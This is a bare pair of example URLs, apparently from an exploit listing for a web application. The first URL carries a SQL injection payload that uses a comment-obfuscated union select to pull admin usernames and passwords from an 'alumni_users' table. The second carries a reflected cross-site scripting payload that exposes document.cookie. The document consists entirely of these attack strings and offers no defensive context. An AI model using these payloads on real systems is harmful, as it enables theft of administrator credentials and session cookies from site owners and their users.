http://www.example.com/info.php?id=&#039;/**/union/**/select/**/1,2,3,concat(alumniUserName,0x3a,char(58),alumniPassword),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/**/from/**/alumni_users/**/where/**/userType=0x61646d696e/*

http://www.example.com/index.php?act=news&amp;year=&lt;script&gt;alert(document.cookie)&lt;/script&gt;